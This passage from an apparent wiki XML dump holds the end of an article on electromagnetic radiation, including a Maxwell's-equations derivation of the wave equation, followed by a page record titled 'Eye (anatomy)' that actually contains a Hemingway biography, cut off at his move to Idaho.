VLF = [[Very low frequency]]&lt;br /&gt;
VF = [[Voice frequency]]&lt;br /&gt;
ELF = [[Extremely low frequency]]]]

Generally, EM radiation is classified by wavelength into [[electrical energy]], [[radio]], [[microwave]], [[infrared]], the [[visible region]] we perceive as light, [[ultraviolet]], [[X-ray]]s and [[gamma rays]].

The behavior of EM radiation depends on its wavelength.  Higher frequencies have shorter wavelengths, and lower frequencies have longer wavelengths.  When EM radiation interacts with single atoms and molecules, its behavior depends on the amount of energy per quantum it carries.

[[Spectroscopy]] can detect a much wider region of the EM spectrum than the visible range of 400 nm to 700 nm.  A common laboratory spectroscope can detect wavelengths from 2 nm to 2500 nm. More in-depth information about the physical properties of objects, gases, or even stars can be obtained from this type of device. It is widely used in [[astrophysics]]. For example, many [[hydrogen]] [[atom]]s [[emission|emit]] [[radio wave]]s which have a [[wavelength]] of 21.12 [[centimetre|cm]].

=== Light ===
{{main|light}}

EM radiation with a [[wavelength]] between approximately 400 [[nanometre|nm]] and 700 nm is detected by the [[human]] [[eye]] and perceived as visible [[light]].

If radiation having a frequency in the visible region of the EM spectrum shines on an object, say, a bowl of fruit, this results in our [[visual perception]] of identifying information from the scene. Our brain's visual system processes the multitude of reflected frequencies into different shades and hues, and through this not-entirely-understood &quot;psychophysical phenomenon,&quot; most humans perceive a bowl of fruit.

In the vast majority of cases, however, the information carried by light is not directly apprehensible by human senses.  Natural sources produce EM radiation across the spectrum; so, too, can human technology manipulate a broad range of wavelengths. [[Optical fiber]] transmits light which, although not suitable for direct viewing, can carry data. Those data can be translated into sound or an image. The coded form of such data is similar to that used with radio waves.

=== Radio waves ===
{{main|radio wave}}

[[Radio wave]]s carry information by varying amplitude and by varying frequency within a frequency band. 

When EM radiation impinges upon a [[conductor (material)|conductor]], it couples to the conductor, travels along it, and [[radio frequency induction|induces]] an electric current on the surface of that conductor by exciting the electrons of the conducting material. This effect (the [[skin effect]]) is used in antennas. EM radiation may also cause certain molecules to absorb energy and thus to heat up; this is exploited in [[microwave oven]]s.

==Derivation==
Electromagnetic waves as a general phenomenon were predicted by the classical laws of electricity and magnetism, known as [[Maxwell's equations]]. If you inspect Maxwell's equations without sources (charges or currents) then you will find that, along with the possibility of nothing happening, the theory will also admit nontrivial solutions of changing electric and magnetic fields. (For symbol definitions see [[magnetic field]].)

:&lt;math&gt;\nabla \cdot \mathbf{E} = 0&lt;/math&gt;
:&lt;math&gt;\nabla \times \mathbf{E} = -\frac{\partial}{\partial t} \mathbf{B}&lt;/math&gt;
:&lt;math&gt;\nabla \cdot \mathbf{B} = 0&lt;/math&gt;
:&lt;math&gt;\nabla \times \mathbf{B} = \mu_0 \epsilon_0 \frac{\partial}{\partial t} \mathbf{E}&lt;/math&gt;

&lt;math&gt;\mathbf{E}=\mathbf{B}=\mathbf{0}&lt;/math&gt; is a solution, but there might be other solutions as well. Let us employ a useful identity from vector calculus.

:&lt;math&gt;\nabla \times \left( \nabla \times \mathbf{A} \right) = \nabla \left( \nabla \cdot \mathbf{A} \right) - \nabla^2 \mathbf{A}&lt;/math&gt;

Where &lt;math&gt;\mathbf{A}&lt;/math&gt; can be any vector function. Taking the curl of the curl equations and applying the identity, we get the following.

:&lt;math&gt;\nabla^2 \mathbf{E} = \mu_0 \epsilon_0 \frac{\partial^2}{\partial t^2} \mathbf{E}&lt;/math&gt;
:&lt;math&gt;\nabla^2 \mathbf{B} = \mu_0 \epsilon_0 \frac{\partial^2}{\partial t^2} \mathbf{B}&lt;/math&gt;

These types of equations are identified as linear wave equations with wave speed &lt;math&gt;\frac{1}{\sqrt{\mu_0 \epsilon_0}}&lt;/math&gt;. Amazingly, this speed happens to be exactly the speed of light! Maxwell's equations have unified the permittivity of free space &lt;math&gt;\epsilon_0&lt;/math&gt;, the permeability of free space &lt;math&gt;\mu_0&lt;/math&gt;, and the speed of light itself: &lt;math&gt;c = \frac{1}{\sqrt{\mu_0 \epsilon_0}}&lt;/math&gt;. Before this derivation it was not known that there was such a strong [[Electromagnetic wave equation |relationship]] between light and electricity and magnetism.

But these are only two equations and we started with four, so there is still more information pertaining to these waves hidden within Maxwell's equations. Let's consider a generic vector wave for the electric field.

:&lt;math&gt;\mathbf{E} = \mathbf{E}_0 f\left( \hat{\mathbf{k}} \cdot \mathbf{x} - c t \right)&lt;/math&gt;

Here &lt;math&gt;\mathbf{E}_0&lt;/math&gt; is the constant amplitude, &lt;math&gt;f&lt;/math&gt; is any second differentiable function, &lt;math&gt; \hat{\mathbf{k}}&lt;/math&gt; is a unit vector in the direction of propagation, and &lt;math&gt; {\mathbf{x}} &lt;/math&gt;is a position vector. We observe that &lt;math&gt;f\left( \hat{\mathbf{k}} \cdot \mathbf{x} - c t \right)&lt;/math&gt; is a generic solution to the wave equation. In other words 
:&lt;math&gt;\nabla^2 f\left( \hat{\mathbf{k}} \cdot \mathbf{x} - c t \right) = \frac{1}{c^2} \frac{\partial^2}{\partial^2 t} f\left( \hat{\mathbf{k}} \cdot \mathbf{x} - c t \right)&lt;/math&gt;, 
for a generic wave traveling in the &lt;math&gt;\hat{\mathbf{k}}&lt;/math&gt; direction. The proof of this is trivial.

This form will satisfy the wave equation, but will it satisfy all of Maxwell's equations, and with what corresponding magnetic field?

:&lt;math&gt;\nabla \cdot \mathbf{E} = \hat{\mathbf{k}} \cdot \mathbf{E}_0 f'\left( \hat{\mathbf{k}} \cdot \mathbf{x} - c t \right) = 0&lt;/math&gt;
:&lt;math&gt;\mathbf{E} \cdot \hat{\mathbf{k}} = 0&lt;/math&gt;

The first of Maxell's equations implies that electric field is orthogonal to the direction the wave propagates.

:&lt;math&gt;\nabla \times \mathbf{E} = \hat{\mathbf{k}} \times \mathbf{E}_0 f'\left( \hat{\mathbf{k}} \cdot \mathbf{x} - c t \right) = -\frac{\partial}{\partial t} \mathbf{B}&lt;/math&gt;
:&lt;math&gt;\mathbf{B} = \frac{1}{c} \hat{\mathbf{k}} \times \mathbf{E}&lt;/math&gt;

The second of Maxwell's equations yields the magnetic field. The remaining equations will be satisfied by this choice of &lt;math&gt;\mathbf{E},\mathbf{B}&lt;/math&gt;.

Not only are the electric and magnetic field waves traveling at the speed of light, but they have a special restricted orientation and proportional magnitudes, &lt;math&gt;\mathbf{E}_0 = c \mathbf{B}_0&lt;/math&gt;. The electric field, magnetic field, and direction of wave propagation are all orthogonal and the wave propagates in the same direction as &lt;math&gt;\mathbf{E} \times \mathbf{B}&lt;/math&gt;.

Visualizing yourself as an electromagnetic wave traveling forward, the electric field might be oscillating up and down, while the magnetic field oscillates right and left; but you can rotate this picture around with the electric field oscillating right and left and the magnetic field oscillating down and up. This is a different solution that is traveling in the same direction. This arbitrariness in the orientation, with respect to propagation direction, is known as [[polarization]].

==See also==
*[[Electromagnetic wave equation]]
*[[Electromagnetic spectrum]]
*[[Electromagnetic radiation hazards]]
*[[Radiant energy]]
*[[Light]]
*[[Electromagnetic pulse]]
*[[Control of electromagnetic radiation]]
*[[Klystron]]
*[[Helicon (physics)|Helicon]]

==References==
* {{cite book
 | last = Hecht | first = Eugene
 | title = Optics
 | edition = 4th ed.
 | publisher = Pearson Education
 | year = 2001
 | id = ISBN 0805385665
 }}
* {{cite book
 | last = Serway | first = Raymond A.
 | coauthors = Jewett, John W.
 | title = Physics for Scientists and Engineers
 | edition = 6th ed.
 | publisher = Brooks/Cole
 | year = 2004
 | id = ISBN 0534408427
 }}
* {{cite book
 | last = Tipler | first = Paul
 | title = Physics for Scientists and Engineers: Electricity, Magnetism, Light, and Elementary Modern Physics
 | edition = 5th ed.
 | publisher = W. H. Freeman
 | year = 2004
 | id = ISBN 0716708108
 }}
* {{cite book 
| last = Reitz | first = John
 | coauthors =  Milford, Frederick; Christy, Robert
 | title = Foundations of Electromagnetic Theory
 | edition = 4th ed.
 | publisher = Addison Wesley
 | year = 1992
 | id = ISBN 0201526247
 }}
* {{cite book
 | last = Jackson | first = John David
 | title = Classical Electrodynamics
 | edition = 2nd ed
 | publisher = John Wiley &amp; Sons
 | year = 1975
 | id = ISBN 047143132X
 }}

==External links==
; General
*[http://www.sengpielaudio.com/calculator-wavelength.htm Conversion of frequency to wavelength and back - electromagnetic, radio and sound waves]
*[http://www.scienceofspectroscopy.info The Science of Spectroscopy] - supported by NASA. Spectroscopy education wiki and films - introduction to light, its uses in NASA, space science, astronomy, medicine &amp; health, environmental research, and consumer products.

; Patents
* [[Greenleaf Whittier Pickard]] - {{US patent|876996}} - ''Intelligence intercommunication by [[magnetic wave]] component''

[[Category:Electromagnetic radiation| ]]

[[ar:موجة كهرومغناطيسية]]
[[ca:Radiació electromagnètica]]
[[cs:Elektromagnetické záření]]
[[da:Elektromagnetisk stråling]]
[[de:Elektromagnetische Welle]]
[[eo:Elektromagneta radiado]]
[[es:Radiación electromagnética]]
[[fi:Sähkömagneettinen säteily]]
[[fr:Rayonnement électromagnétique]]
[[gu:વિદ્યુત-ચુંબકીય તરંગો]]
[[hr:Elektromagnetno zračenje]]
[[hu:Elektromágneses hullám]]
[[id:Radiasi elektromagnetik]]
[[ja:電磁波]]
[[ko:전자기파]]
[[nl:Elektromagnetische straling]]
[[nn:Elektromagnetisk stråling]]
[[no:Elektromagnetisk stråling]]
[[pt:Radiação electromagnética]]
[[ru:Электромагнитное излучение]]
[[sk:Elektromagnetické žiarenie]]
[[sl:Elektromagnetno valovanje]]
[[sv:Elektromagnetisk strålning]]
[[tr:Elektromanyetik ışın]]
[[vi:Bức xạ điện từ]]
[[zh:電磁輻射]]</text>
    </revision>
  </page>
  <page>
    <title>Eye (anatomy)</title>
    <id>9427</id>
    <revision>
      <id>15907319</id>
      <timestamp>2002-12-14T14:14:45Z</timestamp>
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      <comment>/* Influence and legacy */</comment>
      <text xml:space="preserve">[[Image:Hemmingway.jpg|thumb|Ernest Hemingway, 1950]]

'''Ernest Miller Hemingway''' ([[July 21]], [[1899]] &amp;ndash; [[July 2]], [[1961]]) was an [[United States|American]] [[novelist]] and [[short story author|short story writer]]. His distinctive writing style is characterized by terse [[minimalism]] and [[understatement]] and had a significant influence on the development of [[20th century|twentieth century]] [[fiction]]. Hemingway's [[protagonist]]s are typically stoics, often seen as projections of his own character--men who must show &quot;grace under pressure.&quot; Many of his works are now considered classics in the canon of [[American literature]]. 

Hemingway was part of the [[1920s]] [[expatriate]] community in [[Paris]], known as &quot;The [[Lost Generation]],&quot; a name coined and popularized by [[Gertrude Stein]]. He led a turbulent social life, was married four times, and allegedly had various romantic relationships during his lifetime. Hemingway received the [[Pulitzer Prize]] ([[1953]]) and [[Nobel Prize in Literature]]  ([[1954]]) for ''[[The Old Man and the Sea]]''. He committed suicide at age sixty-one in [[1961]].

==Early life==
[[Image:ErnestHemingwayBabyPicture.gif|thumb|left|A baby picture, c. 1900]]

Ernest Hemingway was born on [[July 21]], [[1899]] in [[Oak Park, Illinois|Oak Park]], [[Illinois]], a suburb of [[Chicago]]. Hemingway's physician father, [[Clarence Edmonds]], attended to the birth of Ernest and subsequently blew a horn on his front porch; announcing to the neighbors that his wife had borne a baby boy. The Hemingways lived in a six-bedroom Victorian house built by Ernest's widowed grandfather, Ernest Hall, an [[England|English]] immigrant and Civil War veteran who lived with the family and is also Hemingway's namesake.

Hemingway was the firstborn son and the second of six children to Clarence (&quot;Doctor Ed&quot;) and [[Grace Hall Hemingway]]. His mother was a [[homemaker]] with considerable singing talent who had once aspired to an opera career and earned money giving voice and music lessons. She was domineering and narrowly religious, mirroring the strict [[Protestant]] ethic of Oak Park, which Hemingway later said had &quot;wide lawns and narrow minds&quot;{{ref|ref1}}. His mother had wanted to bear twins, and when this did not happen, she dressed young Ernest and his sister Marcelline (eighteen months his senior) in similar clothes and with similar hairstyles, maintaining the pretense of the two children being &quot;twins.&quot;  Grace Hemingway further feminized her son in his youth by calling him &quot;Ernestine&quot;{{ref|ref2}} (while much is made of this by biographers--especially Kenneth S. Lynn--it should be noted that middle-class Victorian boys were often treated in this manner).  

While his mother hoped that her son would develop an interest in music, Hemingway adopted his father's outdoorsy interests of hunting and fishing in the woods and lakes of northern [[Michigan]]. The family owned a house called Windemere on Michigan's [[Walloon Lake]], and would often spend summers vacationing there. These early experiences in close contact with [[nature]] would instill in Hemingway a lifelong passion for outdoor adventure and for living in areas of the world generally considered remote or isolated.

===First writing experiences===
Hemingway attended [[Oak Park and River Forest High School]] where he excelled both academically and athletically. Hemingway [[Boxing|boxed]] and played [[American football|football]], and displayed particular talent in [[English studies|English]] classes. His first writing experience was serving as editor for both ''Trapeze'' and ''Tabula'', the school's newspaper and literary magazine, respectively.

When Hemingway graduated from high school, he did not pursue a college education.  Instead, at age seventeen, he began his writing career as a club [[reporter]] for ''[[The Kansas City Star]]'' (1916). Although he worked at the newspaper for only six months, throughout his lifetime he used the guidance from the ''Star'''s [[style guide]] as a foundation for his writing style: &quot;Use short sentences. Use short first paragraphs. Use vigorous English. Be positive, not negative.&quot;{{ref|ref3}}

==World War I until the Spanish Civil War==
[[Image:Hemingway WorldWarIYoung.gif|thumb|200px|A young Hemingway in his World War I uniform]]

Hemingway left his reporting job after only a few months, and, against his father's wishes, tried to join the [[United States Army]] to see action in [[World War I]]. He supposedly failed the medical examination due to poor vision (there is no record of this), and instead joined the [[American Field Service]] Ambulance Corps and left for [[Italy]]. En route to the Italian front, he stopped in [[Paris]], which was under constant bombardment from [[Germany|German]] artillery. Instead of staying in the relative safety of the Hotel Florida, Hemingway tried to get as close to combat as possible.

Soon after arriving on the Italian front, he witnessed the brutalities of the war; on his first day of duty, an [[ammunition]] factory near [[Milan]] suffered an explosion. Hemingway had to pick up the human remains, mostly of women who had worked at the factory. This first, extremely cruel encounter with death left him shaken. The soldiers he met later did not lighten the horror; for example, one of them, [[Eric Dorman-Smith]], quoted to him a line from [[Henry IV, part 2 |Part Two of Shakespeare's ''Henry IV'']]: &quot;By my troth, I care not; a man can die but once; we owe god a death...and let it go which way it will, he that dies this year is quit for the next.&quot;{{ref|ref4}}
(Hemingway, for his part, would conjure this very same [[Shakespeare]]an line in ''[[The Short Happy Life of Francis Macomber]]'', one of his famous [[African]] short stories.) In another instance, a 50-year-old soldier, to whom Hemingway said, &quot;You're ''troppo vecchio'' for this war, pop,&quot; replied, &quot;I can die as well as any man.&quot;{{ref|ref5}}

At the Italian front on [[8 July]]  [[1918]], Hemingway was wounded delivering supplies to soldiers, ending his career as an ambulance driver. The exact details of the attack are in dispute, but two facts are certain: Hemingway was hit by an [[Austria]] [[trench warfare|trench]] [[mortar (weapon)|mortar]] shell that left fragments in both of his legs, and he was subsequently awarded the [[Silver Medal of Military Valor]] (''medaglia d'argento'') from the Italian [[government]]. 

[[Image:Hemingway VonKurowsky.jpg|thumb|250px|left|Agnes von Kurowsky in Venice, Italy]]

After this experience, Hemingway convalesced in a Milan hospital run by the [[American Red Cross]]. There he met a nurse, Sister Agnes von Kurowsky of Washington, D.C., one of eighteen nurses attending groups of four patients each. Hemingway fell in love with Sister Agnes, who was more than six years older than him, but their relationship did not last. After he returned to the United States, she fell in love with and married another man.

===Literary aftermath of WWI===
====First novels and other early works====
After the war, Hemingway returned to Oak Park. In 1920, he took a job in [[Toronto]], [[Ontario]], at the ''[[Toronto Star]]'' as a freelancer, staff writer, and foreign [[correspondent]].  About this time, Hemingway met Canada's young literary prodigy [[Morley Callaghan]], who also was a cub reporter at the same paper. Callaghan, who respected Hemingway's work, showed him his own stories, and Hemingway praised them as fine work.

In 1921, Hemingway married his first wife, [[Hadley Richardson]]. The Hemingways decided to live abroad for a time, and, at the advice of [[Sherwood Anderson]], they settled, along with friend Morley Callaghan and [[F. Scott Fitzgerald]] whom he would first meet at the [[Dingo Bar]], in Paris; there Hemingway covered the [[Greco-Turkish War]] for the ''Star''. After the 1922 publication and American banning of colleague [[James Joyce]]'s ''[[Ulysses (novel)|Ulysses]]'', Hemingway used Toronto-based friends to smuggle copies of the novel into the United States. Hemingway's own first book, called ''Three Stories and Ten Poems'' (1923), was published in Paris by [[Robert McAlmon]]. In the same year, during a brief return to Toronto, Hemingway's first son, John, was born. Busy supporting a family, he became bored with the ''Toronto Star'' and resigned on [[January 1]], [[1924]].

[[Image:Stein by picasso.jpg|thumb|[[Gertrude Stein]] (pictured here in a portrait by [[Pablo Picasso]]) was a long-time mentor of Hemingway and served as an important influence on his style and literary development.]]

Hemingway's American literary debut came with the publication of the short story collection ''[[In Our Time (book)|In Our Time]]'' (1925). The vignettes that now constitute the interchapters of the American version were initially published in Europe as ''in our time'' (1924). This work was important for Hemingway, reaffirming to him that his minimalist style could be accepted by the literary community. &quot;[[Big Two-Hearted River]]&quot; is the collection's best-known story.

After Hemingway's return to Paris, Anderson gave him a letter of introduction to [[Gertrude Stein]]. She became his mentor and introduced him to the &quot;Parisian Modern Movement&quot; then ongoing in [[Montparnasse Quarter]]; this was the beginnings of the American expatriate circle that became known as the [[Lost Generation]], a term coined by Stein. The group often frequented [[Sylvia Beach]]'s bookshop, Shakespeare &amp;amp; Co., at 12 ''Rue de l'Odéon''. Hemingway's other influential mentor was [[Ezra Pound]]{{ref|ref6}}, the founder of [[imagism]]. Hemingway later said in reminiscence of this eclectic group, &quot;Ezra was right half the time, and when he was wrong, he was so wrong you were never in any doubt about it. Gertrude was always right.&quot;{{ref|ref7}}

Hemingway's favorite restaurant in Montparnasse was ''La Closerie des Lilas.'' It was here, in just over 6 weeks, that he wrote his second novel, ''[[The Sun Also Rises]]'' (1926). The novel, semi-autobiographical in that it follows a group of expatriate Americans in Europe, was successful and was met with critical acclaim. While Hemingway had initially claimed that the novel was an obsolete form of literature, he was apparently inspired to write one after reading Fitzgerald's manuscript for ''[[The Great Gatsby]]''. 

Fitzgerald and Hemingway were at first close friends, often drinking and talking together. They frequently exchanged manuscripts, and Fitzgerald did much to advance Hemingway's career and the publication of his first collections of stories, although the relationship later cooled and became more competitive. Fitzgerald's wife [[Zelda Fitzgerald|Zelda]], however, disliked Hemingway from the start, openly describing him as &quot;bogus&quot; and &quot;phoney as a rubber cheque&quot; and asserting that his macho persona was a facade; she later became irrationally convinced that Hemingway was homosexual and accused Scott Fitzgerald of having an affair with him.

Hemingway divorced Hadley Richardson and married [[Pauline Pfeiffer]], a devout [[Roman Catholic Church|Roman Catholic]] from [[Piggott, Arkansas]], in 1927. Hemingway converted to Catholicism himself at this time.  That year saw the publication of ''[[Men Without Women]]'', a collection of [[short story|short stories]], containing &quot;[[The Killers (Hemingway)|The Killers]]&quot;, one of Hemingway's best-known and most-anthologized stories.

[[Image:LaCloseriedesLilas.jpg|left|275px|thumb|''La Closerie des Lilas,'' seen here in 1909, was Hemingway's favorite restaurant in the Montparnasse district of Paris.]]

In 1928, Hemingway's father, Clarence, troubled with [[Diabetes mellitus|diabetes]] and financial instabilities, committed suicide using an old [[American Civil War|Civil War]] [[pistol]]. This suicide caused great hurt for Hemingway; he immediately traveled to Oak Park to arrange the funeral and caused controversy by vocalizing the Catholic idea that suicides go to [[Hell]]. At about the same time, [[Harry Crosby]], founder of the [[Black Sun Press]] and friend of Hemingway from his days in Paris, also committed suicide.

In 1928 Hemingway's second son, Patrick, was born in Kansas City (his third son, Gregory, would be born to the couple a few years later). It was a [[Caesarean section|Caesarean]] birth after difficult labor, details that were incorporated into the concluding scene of his novel ''[[A Farewell to Arms]]'', the last important work associated with the period closely following World War I.  It details the romance between [[Frederic Henry]], an American soldier, and Catherine Barkley, a British [[nurse]]. The novel is heavily autobiographical in nature: the plot is directly inspired by his experience with Sister von Kurowsky in Milan; the intense labor pains of his second wife, Pauline, in the birth of Hemingway's son Patrick inspired Catherine's labor in the novel; the real-life [[Kathleen Eaton Cannell|Kitty Cannell]] inspired the fictional Helen Ferguson; the priest was based on Don Giuseppe Bianchi, the priest of the 69th and 70th regiments of the Brigata Ancona. While the inspiration of the character Rinaldi is mysterious, curiously, he had already appeared in ''In Our Time''.

''A Farewell to Arms'' was published at a time when many other World War I books were prominent, including [[Frederic Manning]]'s ''[[Her Privates We]]'', [[Erich Maria Remarque]]'s ''[[All Quiet on the Western Front]]'', [[Richard Aldington]]'s ''[[Death of a Hero]]'', and [[Robert Graves]]' ''[[Goodbye to All That]]''. ''A Farewell to Arms'''s success rendered Hemingway essentially independent financially.
He also stated that,&quot;Death is grand only if you're alone.&quot;

====''The (First) Forty Nine Stories''====
Several of Hemingway's most famous short stories were written in the period following the war; in 1938&amp;mdash;along with his only full-length play, entitled ''The Fifth Column''&amp;mdash;49 such stories were published in the collection ''[[The Fifth Column and the First Forty-Nine Stories]]''. Hemingway's intention was, as he openly stated in his own foreword to the collection, to write more.  Many of the stories that make up this collection can be found in other abridged collections, including ''In Our Time,'' ''[[Men Without Women]],'' ''[[Winner Take Nothing]],'' and ''[[The Snows of Kilimanjaro]]''.

Some of the collection's important stories include: ''Old Man at the Bridge'', ''On The Quai at Smyrna'', ''[[Hills Like White Elephants]]'', ''One Reader Writes'', ''The Killers'' and (perhaps most famously) ''[[A Clean, Well-Lighted Place]]''. While these stories are rather short, the book also includes much longer stories. Among these the most famous are ''[[The Snows of Kilimanjaro]]'' and ''[[The Short Happy Life of Francis Macomber]]''.

Only one other story collection by Hemingway appeared during his lifetime, entitled ''[[Four Stories Of The Spanish Civil War]]''; &quot;The Denunciation&quot; is the most notable story therein. ''[[The Nick Adams Stories]]'' appeared posthumously in 1972. What is now considered the definitive compilation of all of Hemingway's short stories is published as ''[[The Complete Short Stories Of Ernest Hemingway]],'' first compiled and published in 1987.

===Early critical interplay===
Hemingway's early works sold well and were generally received favorably by critics. This success elicited some crude and pretentious behavior from Hemingway, even in these formative years of his career. For example, he began to tell [[F. Scott Fitzgerald]] how to write; he also claimed that the English novelist [[Ford Madox Ford]] was sexually impotent. Hemingway in turn was the subject of much criticism. The journal ''[[Bookman]]'' attacked him as a dirty writer.  According to Fitzgerald, McAlmon, the publisher of his first non-commercial book, labeled Hemingway &quot;a fag and a wife-beater&quot;{{ref|ref8}} and claimed that Pauline was a [[lesbian]] (she is alleged to have had lesbian affairs after their divorce). Gertrude Stein criticized him in her book ''[[The Autobiography of Alice B. Toklas]]'', suggesting that he had derived his prose style from her own and from [[Sherwood Anderson]]'s{{ref|ref9}}.

[[Max Eastman]] disparaged Hemingway harshly, asking him to &quot;come out from behind that false hair on the chest&quot; (these accusations led to a physical confrontation between the two).  Eastman would go on to write an essay entitled ''[[Bull in the Afternoon]]'', a [[satire]] of Hemingway's ''[[Death in the Afternoon]]''. Another facet of Eastman's criticism consisted in the suggestion that Hemingway ought to give up his lonely, tight-lipped stoicism and write about contemporary social affairs. Hemingway did so for at least a short time; his article ''[[Who Murdered the Vets?]]'' for ''[[New Masses]]'', a leftist magazine, and ''[[To Have and Have Not]]'' displayed a certain heightened social awareness.

==Key West==
Following the advice of [[John Dos Passos]], Hemingway moved to [[Key West, Florida]] where he established his first American home. From his old stone house&amp;mdash;a wedding present from Pauline's uncle&amp;mdash;Hemingway [[fishing|fished]] in the [[Dry Tortugas]] waters, went to the famous bar [[Sloppy Joe's (bar)|Sloppy Joe's]], and traveled occasionally to [[Spain]], gathering material for ''[[Death in the Afternoon]]'' and ''[[Winner Take Nothing]]''.

''[[Death in the Afternoon]]'' a book about [[bullfighting]], was published in 1932. Hemingway had become a bullfighting aficionado after seeing the [[Pamplona]] fiesta of 1925, fictionalized in ''[[The Sun Also Rises]]''. In ''Death in the Afternoon'', Hemingway extensively discussed the metaphysics of bullfighting: the ritualized, almost religious practice. In his writings on Spain he was influenced by the Spanish master [[Pío Baroja]] (when Hemingway won the Nobel Prize, he traveled to see Baroja, then on his death bed, specifically to tell him that he thought Baroja deserved the prize more than he did).

A [[safari]] in the fall of 1932 led him to [[Mombasa]], [[Nairobi]], and [[Machakos]] in the [[Mua Hills]]. In Spain reporting on the Spanish Civil War, Hemingway broke friendship with [[John Dos Passos]] because Dos Passos kept reporting despite warning on the atrocities, not only of the Fascists who Hemingway disliked, but also of the Republicans who Hemingway favored (&quot;The Breaking Point: Hemingway, Dos Passos, and the Murder of Jose Robles&quot;  by Stephen Koch, published 2005 ISBN 1582432805) and The Spanish Civil War (1961) by [[Hugh Thomas]]).  In this circumstance Hemingway has been linked to reporter [[Herbert Matthews]].  Hemingway also began to question his Catholicism at this time, eventually leaving the church (though friends indicate that he had &quot;funny ties&quot; to Catholicism for the rest of his life).  The story &quot;The Denunciation&quot;  [http://www.nytimes.com/books/99/07/04/specials/hemingway-fifth.html]  seems autobiographical, thus suggesting that the author might have been an informant for the Republic as well as weapons instructor (The Spanish Civil War (1961) by [[Hugh Thomas]]). 1935 saw the publication of ''Green Hills of Africa'', an account of his African safari. ''[[The Snows of Kilimanjaro]]'' and ''[[The Short Happy Life of Francis Macomber]]'' were the fictionalized results of his African experiences.

Some health problems characterized this period of Hemingway's life: an [[anthrax disease|anthrax]] infection, a cut eyeball, a gash in his forehead, [[Spanish Flu|grippe]], [[tooth|toothache]], [[hemorrhoids]]; [[kidney]] trouble from fishing in [[Spain]], torn groin muscle, finger gashed to the bone in an accident with a punching ball, lacerations (to arms, legs, and face) from a ride on a runaway horse through a deep [[Wyoming]] forest, and a broken arm from a [[car accident]].

===''For Whom the Bell Tolls''===
[[Francisco Franco]] won the [[Spanish Civil War]] in the spring of 1939. Hemingway had lost an adopted homeland to Franco's fascist nationalists, and would later lose his beloved [[Key West, Florida]] home due to his 1940 divorce. A few weeks after the divorce Hemingway married his companion in Spain, Martha Gellhorn, as his third wife. His novel ''[[For Whom The Bell Tolls]]'' was published in 1940; the long work, which takes place during the Spanish Civil War, based on real events (The Spanish Civil War [[Hugh Thomas]]) tells of an American man named &quot;Robert Jordan&quot; fighting with Spanish guerrillas on the side of the Republicans. It is one of Hemingway's most notable literary accomplishments. The title is taken from the penultimate paragraph of [[John Donne]]'s ''Meditation XVII''.

==World War II and its aftermath==
The United States entered [[World War II]] on [[December 8]], [[1941]], and for the first time in his life, Hemingway sought to take part in naval warfare. 

Aboard the ''Pilar'', now a [[Q-Ship]], Hemingway's crew was charged with sinking German [[submarine]]s threatening the shipping off the coasts of [[Cuba]] and the United States (Martha Gellhorn always viewed the sub-hunting as an excuse for Hemingway and his friends to get gas and booze for fishing).  As the [[FBI]] took over Caribbean counter-espionage--J. Edgar Hoover was suspicious of Hemingway from the start, and would become more so later-- Ernest went to Europe as a war correspondent for [[Collier's]] magazine.

Hemingway took part in the [[D-Day]] invasion of France as a correspondent on a landing craft, coming in on the 9th wave after most of the action was done (he was infuriated by the fact that then-wife Martha had managed to get in earlier).  Later, at  [[Villedieu-les-Poêles, France]], he allegedly threw three grenades into a cellar where [[Schutzstaffel|SS]] officers were hiding--although this story, as always where Hemingway is concerned, needs to be taken with a large grain of salt. Later, he acted as an unofficial liaison officer at [[Château de Rambouillet]], and afterwards, formed his own partisan group which in his telling took part in the liberation of [[Paris]]. (These claims have been mostly debunked by historians; some friends said that the only thing Hemingway liberated was the Ritz bar, but he was without question on the scene.)

After the war, Hemingway started work on ''[[The Garden of Eden]]'', which was never finished and would be published posthumously in much-abridged form in 1986. At one stage, he planned a major trilogy which was to be comprised of &quot;The Sea When Young&quot;, &quot;The Sea When Absent&quot; and &quot;The Sea in Being&quot; (the latter eventually published in 1952 as ''[[The Old Man and the Sea]]''). There was also a &quot;Sea-Chase&quot; story; three of these pieces were edited and stuck together as the posthumously-published novel ''[[Islands in the Stream]]'' (1970). 

Newly divorced from Martha, Hemingway married the war correspondent Mary Welsh, whom he'd met overseas in 1944.  Hemingway's first novel after ''For Whom the Bell Tolls'' was ''[[Across the River and Into the Trees]]'' (1950), set in post-World War II [[Venice]]. He derived the title from the last words of General [[Thomas J. Jackson|Stonewall Jackson]].  Enamored of a young Italian girl ([[Adriana Ivancich]]) at the time, '' Across the River and Into the Trees'' is a romance between a war-weary Colonel Cantwell (based on British Lieutenant General &quot;Chink&quot; Dorman-Smith [see Journal of Modern Literature, June 1984]) and the young Renata (which means &quot;Reborn&quot; in [[Latin]]; obviously based on Adriana). The novel received largely bad reviews, many of which accused Hemingway of bad taste, stylistic ineptitude, and sentimentality. Perhaps the last charge was the truest, and fit an emerging pattern: Hemingway was growing old. But 'Across the River' has its latter-day defenders nonetheless.

===Later years===
One section of the above-mentioned sea trilogy was published as ''[[The Old Man and the Sea]]'' in 1952.  That [[novella]]'s enormous success satisfied and fulfilled Hemingway, probably for the last time in his life. It earned him both the [[Pulitzer Prize]] in 1953 and the [[Nobel Prize in Literature]] in 1954, and restored his international reputation.

Then, his legendary bad luck struck once again; on a safari he suffered injuries in two successive [[plane crash]]es. Hemingway's injuries were serious; he sprained his right shoulder, arm, and left leg, had a grave [[concussion]], temporarily lost vision in his left eye (and the hearing in his left ear), had paralysis of the [[sphincter]], a crushed [[vertebra]], ruptured [[liver]], [[spleen]] and [[kidney]], and first degree burns on his face, arms, and leg.

As if this were not enough, he was badly injured one month later in a [[bushfire]] accident which left him with [[burn (injury)|second degree burn]]s on his legs, front torso, lips, left hand and right forearm. The pain left him in prolonged anguish, and he was unable to travel to [[Stockholm]] to accept his Nobel Prize.

A glimmer of hope came with the discovery of some of his old manuscripts from 1928 in the Ritz cellars, which were transformed into ''[[A Moveable Feast]]''. Although some of his energy seemed to be restored, severe drinking problems kept him down. His blood pressure and cholesterol count were perilously high, he suffered from aortal inflammation, and his depression, aggravated by the drinking, was worsening. 

He also lost his Finca Vigía, his estate outside [[Havana, Cuba]] that he had owned for over twenty years, and was forced to go into exile in [[Ketchum, Idaho]], when the conflict in Cuba began to escalate.  And so the final chapter began--with Hemingway under surveillance from the US federal government for his residence and activities in Cuba.

